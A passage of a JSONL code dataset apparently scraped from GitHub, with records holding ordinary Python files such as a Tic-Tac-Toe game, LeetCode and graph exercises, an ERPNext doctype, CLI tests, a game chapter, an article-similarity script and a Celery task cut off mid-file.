current_player\n\t\t\n\t\twinner = GetWinner(board, n)\n\t\t\n\t\tif current_player == PMX:\n\t\t\tcurrent_player = PMO\n\t\telse:\n\t\t\tcurrent_player = PMX\n\t\n\tif winner == PMX or winner == PMO:\n\t\tprint('\\n' + PM_ID_TO_STR[winner] + ' wins!')\n\telse:\n\t\tprint('\\nDraw!')\n\n\tPrintBoard(board)\n\ndef Main():\n\targs = ParseCommandLineArgs()\n\tif args == None:\n\t\treturn\n\t(width, height, n) = args\n\t\n\tboard = [[]] * width\n\tfor i in range(height):\n\t\tboard[i] = [PM_]*width\n\t\n\tprint('Welcome to TicTacToe.py! Take turns filling the grid by specifying the coordinates of the space as \"x,y\". X moves first')\n\t\n\tGameLoop(board, n)\n\nif __name__ == '__main__':\n\tMain()","repo_name":"AaronMcKenney/TicTacToe","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11035110466","text":"#Pentru aceasta problema, vom reprezenta emailurile ca si noduri, iar \r\n#o muchie intre 2 email-uri inseamna ca acestea apartin aceluiasi user,\r\n#deci fiecare cont se poate reprezenta ca o componenta conexa in graf.\r\n#1. Conectam fiecare email al unui cont cu celalalte email-uri.\r\n#2. Prin DFS cautam fiecare email care apartine aceleasi persoane.\r\n\r\ndef DFS(email):\r\n global contCombinat\r\n viz.append(email)\r\n #adaugam in lista de email-uri email-ul curent\r\n contCombinat.append(email)\r\n #parcurgem toate \"nodurile\" adiacente\r\n for adiacent in adiacenta[email]:\r\n if adiacent not in viz:\r\n DFS(adiacent)\r\n\r\naccounts = [[\"John\",\"johnsmith@mail.com\",\"john_newyork@mail.com\"],[\"John\",\"johnsmith@mail.com\",\"john00@mail.com\"],[\"Mary\",\"mary@mail.com\"],[\"John\",\"johnnybravo@mail.com\"]]\r\n#construim listele de adiacenta - adaugam o muchie intre primul email din cont si toate celelalte email-uri din acelasi cont\r\nadiacenta={}\r\nfor cont in accounts:\r\n if len(cont)<3:\r\n if cont[1] not in adiacenta:\r\n adiacenta[cont[1]]=[]\r\n else:\r\n for i in range(2,len(cont)):\r\n if cont[1] not in adiacenta:\r\n adiacenta[cont[1]]=[cont[i]]\r\n else:\r\n adiacenta[cont[1]].append(cont[i])\r\n if cont[i] not in adiacenta:\r\n adiacenta[cont[i]]=[cont[1]]\r\n else:\r\n adiacenta[cont[i]].append(cont[1])\r\n\r\n#trecem prin toate conturile pentru a forma componente conexe\r\nconturi=[]\r\nviz=[]\r\nfor cont in accounts:\r\n user=cont[0]\r\n #Daca un email este vizitat, este parte dintr-o componenta conexa diferita\r\n #Facem DFS doar daca email-ul nu este vizitat\r\n if cont[1] not in viz:\r\n global contCombinat\r\n contCombinat=[]\r\n #Intai adaugam user-ul\r\n contCombinat.append(user)\r\n DFS(cont[1])\r\n conturi.append(contCombinat)\r\nprint(conturi)","repo_name":"mandrei09/FMI-Materiale","sub_path":"Anul II/Semestrul I/AF - Algoritmi Fundamentali/Teme/Tema 4/Mihai_Andrei-Alexandru_4_ogligatoriu_3.py","file_name":"Mihai_Andrei-Alexandru_4_ogligatoriu_3.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"ro","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"16502780254","text":"#!/usr/bin/env python\nimport os\nimport struct\n\ncurr=[]\n#os.chdir('../')\n#os.system('ls -la')\nos.chdir('1/')\ncurr.append(os.system('ls'))\n#s=\"\"\n#print(curr)\nfor x in range(100):\n\ts=\"\"\n\tx=str(x)\n\twith open (x, mode = 'rb' ) as file:\n\t\tcont=file.read()\n\t\tfor word in cont:\n\t\t\ts+=((chr(ord(word)-1)))\n\tprint(s)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#struct.unpack('i' * ((len(fileContent)-24)//4),fileContent[20:-4])\n\n\n\n","repo_name":"Sushilkumar168141/bcactf_dump","sub_path":"bcactf/forensics/out/OUT/try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38417954864","text":"import PIL\nimport customtkinter as ctk\nimport tkinter as tk\nfrom customtkinter import *\nfrom tkinter import *\nimport cv2\nfrom PIL import ImageTk, Image\nimport os\nimport numpy as np\nimport threading\nfrom threading import Thread\nfrom multiprocessing import Pool\n\n\nclass videoFrame(ctk.CTkFrame):\n def __init__(self, master, **kwargs):\n super().__init__(master, **kwargs)\n\n self.video_source1 = 0\n self.video_source2 = 1\n\n self.frame = ctk.CTkFrame(master)\n\n self.vid1 = MyVideoCapture(self.video_source1, self.video_source2)\n\n self.canvas_cam1 = tk.Canvas(self.frame, width=764, height=430)\n self.canvas_cam1.grid(row=0, column=0)\n\n self.canvas_cam2 = tk.Canvas(self.frame, width=764, height=430)\n self.canvas_cam2.grid(row=0, column=1)\n\n # self.cam_3_vid = MyVideoCapture(self.video_source3)\n # self.cam_4_vid = MyVideoCapture(self.video_source4)\n\n self.delay = 100\n t1 = Thread(target=self.update, args=())\n t1.start()\n self.frame.pack(pady=20)\n\n def update(self):\n # Get a frame from the video source\n ret1, frame1, ret2, frame2 = self.vid1.get_frame()\n\n if ret1 and ret2:\n self.photo1 = ImageTk.PhotoImage(image=PIL.Image.fromarray(frame1).resize((764, 430)))\n self.photo2 = ImageTk.PhotoImage(image=PIL.Image.fromarray(frame2).resize((764, 430)))\n self.canvas_cam1.create_image(0, 0, image=self.photo1, anchor=tk.NW)\n self.canvas_cam2.create_image(0, 0, image=self.photo2, anchor=tk.NW)\n\n self.frame.after(self.delay, self.update)\n\n\nclass MyVideoCapture:\n def __init__(self, video_source1, video_source2):\n # Open the video source\n self.vid1 = cv2.VideoCapture(video_source1, cv2.CAP_DSHOW)\n self.vid2 = cv2.VideoCapture(video_source2, cv2.CAP_DSHOW)\n if not self.vid1.isOpened():\n raise ValueError(\"Unable to open video source\", video_source1)\n\n # Get video source width and height\n self.width = self.vid1.set(cv2.CAP_PROP_FRAME_WIDTH, 1280)\n self.height = self.vid1.set(cv2.CAP_PROP_FRAME_HEIGHT, 720)\n\n def get_frame(self):\n if self.vid1.isOpened():\n ret1, frame1 = self.vid1.read()\n ret2, frame2 = self.vid2.read()\n if ret1 and ret2:\n # Return a boolean success flag and the current frame converted to BGR\n return ret1, cv2.cvtColor(frame1, cv2.COLOR_BGR2RGB), ret2, cv2.cvtColor(frame2, cv2.COLOR_BGR2RGB)\n else:\n return ret1, None, ret2, None\n else:\n return ret1, None, ret2, None\n\n # Release the video source when the object is destroyed\n def __del__(self):\n if self.vid1.isOpened():\n self.vid1.release()\n if self.vid2.isOpened():\n self.vid2.release()\n","repo_name":"VovaTuseev/mwc_osnova","sub_path":"tab_monitoring.py","file_name":"tab_monitoring.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1796736030","text":"from typing import *\n\n\n# 2022-04-14 15:11:52\n\n# leetcode submit region begin(Prohibit modification and deletion)\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n def __repr__(self):\n return f'{self.val}'\n\n\nclass Solution:\n def reverseBetween(self, head: ListNode, left: int, right: int) -> ListNode:\n if left == right:\n return head\n\n pre = None\n cnt = 1\n tmp = head\n left_ptr = None\n last = None\n while cnt <= right:\n if cnt >= left:\n if not left_ptr:\n left_ptr = tmp\n if not last:\n last = tmp\n tmp = tmp.next\n else:\n _ = tmp.next\n tmp.next = last\n last = tmp\n tmp = _\n cnt += 1\n else:\n cnt += 1\n pre = tmp\n tmp = tmp.next\n\n if pre:\n pre.next = last\n left_ptr.next = tmp\n if pre:\n return head\n else:\n return last\n\n # leetcode submit region end(Prohibit modification and deletion)\n\n\nl = ListNode(3, ListNode(5))\ns = Solution()\nprint(s.reverseBetween(l, 1, 2))\npass\n","repo_name":"Apoiuty/LeetCode","sub_path":"N92 反转链表 II.py","file_name":"N92 反转链表 II.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"1577105597","text":"import copy\n\nimport frappe\nfrom frappe import _\nfrom frappe.utils.nestedset import NestedSet\n\n\nclass ItemGroup(NestedSet):\n\tdef validate(self):\n\t\tif not self.parent_item_group and not frappe.flags.in_test:\n\t\t\tif frappe.db.exists(\"Item Group\", _(\"All Item Groups\")):\n\t\t\t\tself.parent_item_group = _(\"All Item Groups\")\n\t\tself.validate_item_group_defaults()\n\t\tself.check_item_tax()\n\n\tdef check_item_tax(self):\n\t\t\"\"\"Check whether Tax Rate is not entered twice for same Tax Type\"\"\"\n\t\tcheck_list = []\n\t\tfor d in self.get(\"taxes\"):\n\t\t\tif d.item_tax_template:\n\t\t\t\tif (d.item_tax_template, d.tax_category) in check_list:\n\t\t\t\t\tfrappe.throw(\n\t\t\t\t\t\t_(\"{0} entered twice {1} in Item Taxes\").format(\n\t\t\t\t\t\t\tfrappe.bold(d.item_tax_template),\n\t\t\t\t\t\t\t\"for tax category {0}\".format(frappe.bold(d.tax_category)) if d.tax_category else \"\",\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\telse:\n\t\t\t\t\tcheck_list.append((d.item_tax_template, d.tax_category))\n\n\tdef on_update(self):\n\t\tNestedSet.on_update(self)\n\t\tself.validate_one_root()\n\t\tself.delete_child_item_groups_key()\n\n\tdef on_trash(self):\n\t\tNestedSet.on_trash(self, allow_root_deletion=True)\n\t\tself.delete_child_item_groups_key()\n\n\tdef delete_child_item_groups_key(self):\n\t\tfrappe.cache().hdel(\"child_item_groups\", self.name)\n\n\tdef validate_item_group_defaults(self):\n\t\tfrom erpnext.stock.doctype.item.item import validate_item_default_company_links\n\n\t\tvalidate_item_default_company_links(self.item_group_defaults)\n\n\ndef get_child_item_groups(item_group_name):\n\titem_group = frappe.get_cached_value(\"Item Group\", item_group_name, [\"lft\", \"rgt\"], as_dict=1)\n\n\tchild_item_groups = [\n\t\td.name\n\t\tfor d in frappe.get_all(\n\t\t\t\"Item Group\", filters={\"lft\": (\">=\", item_group.lft), \"rgt\": (\"<=\", item_group.rgt)}\n\t\t)\n\t]\n\n\treturn child_item_groups or {}\n\n\ndef get_item_group_defaults(item, company):\n\titem = frappe.get_cached_doc(\"Item\", item)\n\titem_group = frappe.get_cached_doc(\"Item Group\", item.item_group)\n\n\tfor d in item_group.item_group_defaults or []:\n\t\tif d.company == company:\n\t\t\trow = copy.deepcopy(d.as_dict())\n\t\t\trow.pop(\"name\")\n\t\t\treturn row\n\n\treturn frappe._dict()\n","repo_name":"frappe/erpnext","sub_path":"erpnext/setup/doctype/item_group/item_group.py","file_name":"item_group.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":15303,"dataset":"github-code","pt":"60"} +{"seq_id":"45786663800","text":"import pytest\n\nimport shutil\nfrom click.testing import CliRunner\nfrom pathlib import Path\nfrom typing import Tuple\n\nfrom edges_io import cli\nfrom edges_io.utils import console\n\n\n@pytest.mark.parametrize(\n \"folder\",\n [\n \"Receiver01_25C_2019_11_26_040_to_200MHz\",\n \"Receiver01_25C_2019_12_26_040_to_200MHz\",\n \"Receiver01_25C_2020_11_26_040_to_200MHz\",\n \"Receiver01_25C_2021_11_26_040_to_200MHz\",\n ],\n)\ndef test_check(datadir, caplog, folder):\n runner = CliRunner()\n result = runner.invoke(cli.check, [str(datadir / folder)])\n\n assert result.exit_code == 0\n assert \"SUCCESS\" in caplog.records[-1].levelname\n\n\n@pytest.mark.parametrize(\"fix_strategy\", [\"y\", \"i\", \"o\", \"p\"])\ndef test_check_fix(datadir, tmpdir, caplog, monkeypatch, fix_strategy):\n runner = CliRunner()\n folder = \"Receiver01_25C_2022_11_26_040_to_200MHz\"\n tmpdir = tmpdir / fix_strategy\n tmpdir.mkdir()\n shutil.copytree(datadir / folder, tmpdir / folder)\n\n # Patch the console.input() function to always return 'y' -- which will delete\n # stuff in the _ask_to_rm function.\n monkeypatch.setattr(\n console,\n \"input\",\n lambda msg: \"badfile.here.old\" if \"Change \" in msg else fix_strategy,\n )\n\n result = runner.invoke(cli.check, [str(tmpdir / folder), \"--fix\"])\n\n assert result.exit_code == 0\n assert \"SUCCESS\" in caplog.records[-1].levelname\n\n\ndef test_check_verbosity_noop(datadir, caplog):\n runner = CliRunner()\n\n result = runner.invoke(\n cli.check, [str(datadir / \"Receiver01_25C_2019_11_26_040_to_200MHz\")]\n )\n\n assert result.exit_code == 0\n\n txt = caplog.text\n n = len(txt)\n\n # This adds and subtracts verbosity\n result = runner.invoke(\n cli.check, [str(datadir / \"Receiver01_25C_2019_11_26_040_to_200MHz\"), \"-vV\"]\n )\n assert result.exit_code == 0\n\n assert caplog.text[n:] == txt\n\n\ndef test_check_verbosity_extra(datadir, caplog):\n runner = CliRunner()\n\n result = runner.invoke(\n cli.check, [str(datadir / \"Receiver01_25C_2019_11_26_040_to_200MHz\")]\n )\n\n assert result.exit_code == 0\n\n txt = caplog.text\n n = len(txt)\n\n # This subtracts verbosity\n result = runner.invoke(\n cli.check, [str(datadir / \"Receiver01_25C_2019_11_26_040_to_200MHz\"), \"-VVV\"]\n )\n assert result.exit_code == 0\n\n assert caplog.text[n:] != txt\n\n\ndef test_check_verbosity_overkill(datadir, caplog):\n runner = CliRunner()\n\n result = runner.invoke(\n cli.check, [str(datadir / \"Receiver01_25C_2019_11_26_040_to_200MHz\"), \"-vvvv\"]\n )\n\n assert result.exit_code == 0\n\n # This subtracts verbosity\n result = runner.invoke(\n cli.check,\n [str(datadir / \"Receiver01_25C_2019_11_26_040_to_200MHz\"), \"-VVVVVVV\"],\n )\n assert result.exit_code == 0\n\n\ndef unmove(temp: str, datadir: Path, tmpdir: Path) -> Tuple[str, Path]:\n folder = \"Receiver01_25C_2019_11_26_040_to_200MHz\"\n bad = tmpdir / \"Receiver01_2019_11_26_040_to_200MHz\"\n shutil.copytree(datadir / folder, bad / temp)\n return folder, bad\n\n\ndef test_mv(datadir: Path, tmpdir: Path):\n folder, bad = unmove(\"25C\", datadir, tmpdir)\n\n runner = CliRunner()\n result = runner.invoke(cli.mv, [str(bad / \"25C\"), \"--clean\"])\n\n assert result.exit_code == 0\n assert not bad.exists()\n assert (tmpdir / folder).exists()\n assert not (tmpdir / f\"{folder}/25C\").exists()\n assert (tmpdir / f\"{folder}/Spectra\").exists()\n\n\ndef test_mv_all(datadir: Path, tmpdir: Path):\n tmpdir = tmpdir / \"mvall\"\n folder, bad = unmove(\"25C\", datadir, tmpdir)\n unmove(\"35C\", datadir, tmpdir)\n unmove(\"15C\", datadir, tmpdir)\n\n print(list((bad / \"25C\").glob(\"*\")))\n\n runner = CliRunner()\n folders = [str(x) for x in bad.glob(\"*C\")]\n result = runner.invoke(cli.mv_all, folders + [\"--clean\"])\n print(result.stdout)\n print(result.exception)\n\n assert result.exit_code == 0\n assert not bad.exists()\n assert (tmpdir / folder).exists()\n assert not (tmpdir / f\"{folder}/25C\").exists()\n assert not (tmpdir / f\"{folder}/35C\").exists()\n assert not (tmpdir / f\"{folder}/15C\").exists()\n\n assert (tmpdir / f\"{folder}/Spectra\").exists()\n","repo_name":"edges-collab/edges-io","sub_path":"tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"75196905789","text":"import sys\n\nfrom rich.table import Table\n\nfrom myning.chapters import Option, PickArgs, main_menu\nfrom myning.config import RESEARCH\nfrom myning.objects.garden import Garden\nfrom myning.objects.inventory import Inventory\nfrom myning.objects.macguffin import Macguffin\nfrom myning.objects.player import Player\nfrom myning.objects.research_facility import ResearchFacility\nfrom myning.objects.singleton import Singleton\nfrom myning.utilities.file_manager import FileManager\nfrom myning.utilities.formatter import Formatter\nfrom myning.utilities.pick import confirm\nfrom myning.utilities.species_rarity import get_time_travel_species\nfrom myning.utilities.ui import Colors, Icons\n\nfacility = ResearchFacility()\ngarden = Garden()\nmacguffin = Macguffin()\nplayer = Player()\ninventory = Inventory()\n\n\ndef enter():\n return PickArgs(\n message=\"What would you like to do?\",\n options=[\n Option(\"View Potential Macguffin\", view_potential),\n Option(\"Go Back in Time\", go_back_in_time),\n Option(\"About\", about),\n Option(\"Go Back\", main_menu.enter),\n ],\n )\n\n\n# This is the same function as in the stats page. I haven't figured out a great place where they can\n# share this function and I don't want to cross import\ndef get_total_value():\n return player.total_value + facility.total_value + garden.total_value + inventory.total_value\n\n\ndef get_potential_standard_boost():\n return macguffin.get_new_standard_boost(get_total_value())\n\n\ndef get_potential_smaller_boost():\n return macguffin.get_new_smaller_boost(get_total_value())\n\n\ndef view_potential():\n standard = get_potential_standard_boost()\n smaller = get_potential_smaller_boost()\n table = Table.grid(padding=(0, 1))\n table.title = \"Potential Macguffin Boosts\"\n table.title_style = \"bold underline\"\n table.min_width = len(table.title)\n table.add_row(\n \"Mineral value:\",\n Icons.GOLD,\n Colors.GOLD(Formatter.percentage(standard)),\n )\n table.add_row(\n \"XP gain:\",\n Icons.XP,\n Colors.XP(Formatter.percentage(standard)),\n )\n table.add_row(\n \"Soul credits:\",\n Icons.GRAVEYARD,\n Colors.SOUL_CREDITS(Formatter.percentage(smaller)),\n )\n table.add_row(\n \"Research speed:\",\n Icons.RESEARCH_FACILITY,\n Colors.RESEARCH_POINTS(Formatter.percentage(smaller)),\n )\n table.add_row(\n \"Plant value:\",\n Icons.PLANT,\n Colors.PLANT(Formatter.percentage(smaller)),\n )\n return PickArgs(\n message=table,\n options=[Option(\"Cool cool cool\", enter)],\n )\n\n\n@confirm(\n lambda: \"\\n\".join(\n [\n \"Are you sure you want to erase ALL progress and go back in time?\",\n f\"[{Colors.LOCKED}]You'll lose all your progress and gain the following boosts:\",\n f\"{Formatter.percentage(get_potential_standard_boost())} mineral value\",\n f\"{Formatter.percentage(get_potential_standard_boost())} xp gain\",\n f\"{Formatter.percentage(get_potential_smaller_boost())} soul credits\",\n f\"{Formatter.percentage(get_potential_smaller_boost())} research speed\",\n f\"{Formatter.percentage(get_potential_smaller_boost())} plant value\",\n \"\",\n \"Oh, yeah, and there's a slight chance you may experience a bit of transmogrification.\",\n ]\n ),\n enter,\n)\ndef go_back_in_time():\n standard = get_potential_standard_boost()\n smaller = get_potential_smaller_boost()\n\n journal = player.discovered_species\n migrations = player.completed_migrations\n\n lowest_tier = 1\n if facility.has_research(\"time_travel_species\"):\n lowest_tier = RESEARCH[\"time_travel_species\"].player_value\n new_species = get_time_travel_species(lowest_tier)\n\n player_name = player.name\n player_id = player.id\n\n # Reset the game\n FileManager.backup_game()\n FileManager.reset_game()\n Singleton.reset() # type: ignore\n\n Player.initialize(player_name)\n new_player = Player()\n new_player.discovered_species = journal\n new_player.completed_migrations = migrations\n new_player.id = player_id\n new_player.species = new_species\n new_player.health = new_player.max_health\n\n Macguffin.initialize()\n new_macguffin = Macguffin()\n new_macguffin.xp_boost = standard\n new_macguffin.mineral_boost = standard\n new_macguffin.research_boost = smaller\n new_macguffin.soul_credit_boost = smaller\n new_macguffin.plant_boost = smaller\n\n FileManager.multi_save(new_player, new_macguffin)\n\n # TODO fix jank, don't use exit ideally\n # Janky, but this will exit to the run.sh loop which will reboot the game. Basically purges\n # the memory of the game.\n sys.exit(123)\n\n\ndef about():\n return PickArgs(\n message=\"About Going Back in Time\",\n options=[Option(\"I understand\", enter)],\n subtitle=\"When you go back in time, you will gain a macguffin which will provide a mineral \"\n \"value, xp gain, soul credit, research speed, and plant value boost. Unfortunately, you'll \"\n \"lose everything else you have (including upgrades). Journal unlocks will not be lost.\",\n )\n","repo_name":"TheRedPanda17/myning","sub_path":"myning/chapters/time_machine.py","file_name":"time_machine.py","file_ext":"py","file_size_in_byte":5184,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"10658556262","text":"# -*- coding: utf-8 -*-\n\nimport fileProcess\nimport articleModel\nimport calculate\nimport network\nimport pandas as pd\n\nSTOP_WORDS_FILE_NAME = 'slothlib_stopwords.txt'\nFEATURE_WORDS_FILE_NAME = 'feature_words.txt'\nARTICLES_WORDS_FILE_NAME = 'articles_words.txt'\nARTICLES_NAME_FILE_NAME = 'articles_name.txt'\nARTICLES_TITLE_FILE_NAME = 'articles_title.txt'\nARTICLES_URL_FILE_NAME = 'articles_url.txt'\nARTICLES_SIMILARITYVEC_FILE_NAME = 'articles_similarityVec.txt'\nARITCLES_FEATURE_TFIDFVEC_FILE_NAME = 'article_feature_tfidfVec.txt'\nARTICLES_ADJACENCYVEC_FILE_NAME = 'articles_adjacencyVec.txt'\nOBJ_ARTICLES_DIR = './OBJECT'\nIMAGE_DIR = './IMAGE/'\nRELIABLE_NETWORK_FEATURE_CSV_FILE_NAME = 'reliable_network_feature.csv'\nUNRELIABLE_NETWORK_FEATURE_CSV_FILE_NAME = 'unreliable_network_feature.csv'\n\nTHRESHOLD = 類似度閾値\nSTEP = ステップ数\n\nif __name__ == '__main__':\n #####################################\n # 以下は記事データベースファイルからの読取#\n #####################################\n print('対象データベースからデータを読み取り開始')\n # 各属性ファイルから，articleの各属性を読み取り，属性リストを生成\n article_names = fileProcess.readArticleNames(ARTICLES_NAME_FILE_NAME)\n article_titles = fileProcess.readArticleTitles(ARTICLES_TITLE_FILE_NAME)\n article_urls = fileProcess.readArticleURLs(ARTICLES_URL_FILE_NAME)\n words_strings = fileProcess.readWordsStringsFromFile(ARTICLES_WORDS_FILE_NAME)\n article_words = fileProcess.readWordsFromWordsStrings(words_strings)\n article_similarityVecs = fileProcess.readArticleSimVecsFromFile(ARTICLES_SIMILARITYVEC_FILE_NAME)\n article_feature_tfidfVecs = fileProcess.readArticleFeatureTfidfVecsFromFile(ARITCLES_FEATURE_TFIDFVEC_FILE_NAME)\n article_adjacencyVecs = fileProcess.readArticleAdjacencyVecsFromFile(ARTICLES_ADJACENCYVEC_FILE_NAME)\n print('対象データベースからデータを読み取り終了')\n\n #######################################\n # 以下は記事データベースのインスタンスの生成#\n #######################################\n print('記事データベースのインスタンスを生成開始')\n # articleリストを宣言\n article_data = []\n # articleインスタンスを生成\n for i, article_name in enumerate(article_names):\n article_instance = articleModel.Article()\n article_instance.getName(article_names[i])\n article_instance.getTitle(article_titles[i])\n article_instance.getURL(article_urls[i])\n article_instance.getNo(i)\n article_instance.getWords(article_words[i])\n article_instance.getSimilarityVec(article_similarityVecs[i])\n article_instance.getFeatureTfidfVec(article_feature_tfidfVecs[i])\n article_instance.getAdjacencyVec(article_adjacencyVecs[i])\n article_data.append(article_instance) # インスタンスをarticleリストに追加\n print('記事データベースのインスタンスを生成終了')\n\n #########################\n # 以下は対象記事の類似度推定#\n #########################\n print('対象記事を解析開始')\n # ストップワードを取得\n stop_words = fileProcess.getStopwords(STOP_WORDS_FILE_NAME)\n\n # 特徴語を取得\n feature_words = fileProcess.readFeatureWordsFromFile(FEATURE_WORDS_FILE_NAME)\n\n # 全ての対象記事のパスを取得\n obj_file_paths = list(fileProcess.getAllAnalysisFilePaths(OBJ_ARTICLES_DIR))\n\n obj_article = []\n for i, path in enumerate(obj_file_paths):\n obj_instance = articleModel.Article() # articleインスタンスを生成\n obj_instance.getPath(path)\n obj_instance.getName(path.split('/')[2])\n obj_instance.getNo(len(article_data))\n obj_instance.getContent() # ファイルを読み取る\n obj_instance.contentToWords(stop_words) # articleの内容からワードを抽出\n calculate.calcObjFeatureTfidfVec(obj_instance, article_data, feature_words) # 推定対象の特徴語TF-IDFベクトルを算出\n calculate.calcObjFeatureSimVec(obj_instance, article_data) # 推定対象の特徴語TF-IDF類似度を算出\n calculate.simToAdjVec(list([obj_instance]), THRESHOLD) # 推定対象の隣接ベクトルを算出\n print('対象' + obj_instance.name + ':')\n for i, a in enumerate(obj_instance.similarityVec):\n if a >= THRESHOLD:\n print('記事' + str(i) + ':' + str(a))\n obj_article.append(obj_instance) # 対象記事リストに追加\n del obj_instance # instanceを削除\n print('対象記事を解析終了')\n\n ######################################################\n # 以下は関連記事ネットワークの可視化と特徴量のCSVファイル出力#\n ######################################################\n print('解析結果を出力開始')\n df = pd.DataFrame(columns = ['NAME', 'DEGREE', 'CLOSENESS', 'BETWEENNESS', 'DENSITY', 'CLUSTER'])\n for obj in obj_article:\n df = df.append(network.constructNetwork(obj, article_data, STEP, IMAGE_DIR), ignore_index = True)\n df.to_csv(RELIABLE_NETWORK_FEATURE_CSV_FILE_NAME, index = False, encoding = 'utf-8')\n # df.to_csv(UNRELIABLE_NETWORK_FEATURE_CSV_FILE_NAME, index = False, encoding = 'utf-8')\n print('解析結果を出力終了')\n","repo_name":"zzh43/Research-of-Articles-Reliability","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":5382,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7375465065","text":"from DatasetReader.bAbIReader import bAbIReader\nfrom SystemPipeline.DatasetPipeline import DatasetPipeline\nimport numpy as np\n\nif __name__ == '__main__':\n numberOfExamples = 200\n numShuffles = 5\n tasks = [1, 6, 8, 9, 10, 11, 12, 13, 14, 15, 16, 18, 20]\n for task in tasks:\n print(\"Task\", task)\n train = \"../en/qa\" + str(task) + \"_train.txt\"\n test = \"../en/qa\" + str(task) + \"_test.txt\"\n trainingCorpus = bAbIReader(train)\n testingCorpus = bAbIReader(test)\n\n accuracies = np.empty([numShuffles, 2], dtype=float)\n parsingTimes = np.empty([numShuffles, 2], dtype=float)\n learningTimes = np.empty([numShuffles, 2], dtype=float)\n for i in range(0, numShuffles):\n trainingCorpus.reset()\n testingCorpus.reset()\n trainingCorpus.shuffle()\n accuracies[i][0], parsingTimes[i][0], learningTimes[i][0] = DatasetPipeline(trainingCorpus, testingCorpus,\n numberOfExamples, False)\n\n trainingCorpus.reset()\n testingCorpus.reset()\n accuracies[i][1], parsingTimes[i][1], learningTimes[i][1] = DatasetPipeline(trainingCorpus, testingCorpus,\n numberOfExamples, True)\n\n averageAccuracies = np.average(accuracies, axis=0)\n accuraciesStandardDeviations = np.std(accuracies, axis=0)\n\n averageLearningTimes = np.average(learningTimes, axis=0)\n learningTimesStandardDeviations = np.std(learningTimes, axis=0)\n\n averageParsingTimes = np.average(parsingTimes, axis=0)\n parsingTimesStandardDeviation = np.std(parsingTimes, axis=0)\n\n print(\"Without Supervision: \")\n print(\"Average accuracy: \", averageAccuracies[0])\n print(\"Standard deviation: \", accuraciesStandardDeviations[0])\n print(\"Average learning time: \", averageLearningTimes[0])\n print(\"Standard deviation: \", learningTimesStandardDeviations[0])\n print(\"Average parsing time: \", averageParsingTimes[0])\n print(\"Standard deviation: \", parsingTimesStandardDeviation[0])\n print(\"----------------------------------------------------\\n\")\n print(\"With Supervision: \")\n print(\"Average accuracy: \", averageAccuracies[1])\n print(\"Standard deviation: \", accuraciesStandardDeviations[1])\n print(\"Average learning time: \", averageLearningTimes[1])\n print(\"Standard deviation: \", learningTimesStandardDeviations[1])\n print(\"Average parsing time: \", averageParsingTimes[1])\n print(\"Standard deviation: \", parsingTimesStandardDeviation[1])\n print(\"----------------------------------------------------\\n\")\n","repo_name":"daidaiwo/project","sub_path":"software_archive/Experiments/WeakStrongSupervisionExperiment.py","file_name":"WeakStrongSupervisionExperiment.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9957953834","text":"from .celery import app\n\nimport redis\nimport os\nimport requests\nimport json\nfrom .fastapi import get_fastapi_token\n\nr = redis.Redis(host=os.environ.get('REDIS_CACHE'),\n port=os.environ.get('REDIS_PORT'),\n db=os.environ.get('REDIS_DBBINANCE'),\n password=os.environ.get('REDIS_PASSWORD'))\n\nfrom appwrite.client import Client\nfrom appwrite.services.databases import Databases\nfrom appwrite.services.functions import Functions\n\nclient = Client()\n(client\n .set_endpoint(os.environ.get('APPWITE_ENDPOINT')) # Your API Endpoint\n .set_project(os.environ.get('APPWRITE_PROJECTID')) # Your project ID\n .set_key(os.environ.get('APPWRITE_KEY')) # Your secret API key\n)\ndatabases = Databases(client)\nfunctions = Functions(client)\n\n@app.task\ndef update_barometer(save=False):\n '''update barometer'''\n # if save:\n # storeTickersToDatabase.delay()\n # try:\n # print(get_connection())\n # dateNow = datetime.datetime.now()\n # brl_markets = []\n # bkrw_markets = []\n # aud_markets = []\n # doge_markets = []\n # eur_markets = []\n # busd_markets = []\n # usdc_markets = []\n # rub_markets = []\n # usdp_markets = []\n # gbp_markets = []\n # trx_markets = []\n # zar_markets = []\n # bidr_markets = []\n # usds_markets = []\n # try_markets = []\n # ngn_markets = []\n # xrp_markets = []\n # uah_markets = []\n # bvnd_markets = []\n # gyen_markets = []\n # ust_markets = []\n # pax_markets = []\n # idrt_markets = []\n # dot_markets = []\n # vai_markets = []\n # dai_markets = []\n # usdt_markets = []\n # tusd_markets = []\n btc_markets = []\n eth_markets = []\n bnb_markets = []\n fiat_btc_markets = []\n fiat_eth_markets = []\n fiat_bnb_markets = []\n\n keys = r.keys(\"marketBin*\")\n quotePairs = []\n basePairs = ['BRL', 'BKRW', 'AUD', 'DOGE', 'EUR', 'BNB', 'BUSD', 'USDC', 'RUB', 'USDP', 'GBP', 'TRX', 'ZAR', 'BIDR', 'USDS',\n 'TRY', 'NGN', 'XRP', 'UAH', 'BVND', 'GYEN', 'ETH', 'UST', 'PAX', 'IDRT', 'DOT', 'VAI', 